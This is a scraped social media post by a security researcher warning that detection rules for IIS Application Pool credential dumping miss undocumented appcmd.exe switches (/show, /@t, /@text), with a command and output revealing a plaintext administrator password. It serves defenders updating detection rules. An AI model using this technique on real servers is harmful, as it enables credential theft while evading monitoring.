



Settings



Post



Grzegorz Tworek 
@0gtweet



Do you detect IIS Application Pool credential dumping by looking for "/text:*"?
Time to update your rules with undocumented /show, /(at)t, and /(at)text.

```
C:\Windows\System32\inetsrv>appcmd.exe list apppool /@t:*
APPPool
  APPPOOL.NAME:"DefaultAppPool"
  PipelineMode:"Integrated"
  RuntimeVersion:"v4.0"
  state:"Started"
  [add]
    name:"DefaultAppPool"
    queueLength:"1000"
    autoStart:"true"
    enable32BitAppOnWin64:"false"
    managedRuntimeVersion:"v4.0"
    managedRuntimeLoader:"webengine4.dll"
    enableConfigurationOverride:"true"
    managedPipelineMode:"Integrated"
    CLRConfigFile:""
    passAnonymousToken:"true"
    startMode:"OnDemand"
    [processModel]
      identityType:"SpecificUser"
      userName:".\\administrator"
      password:"P@ssw0rd"
      loadUserProfile:"false"
```

9:49 AM · Nov 5, 2022

340 Reposts 3 Quotes 1,211 Likes 352 Bookmarks



352



Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!



We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.
For more details, see our Privacy Policy: <https://x.com/en/privacy>.

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies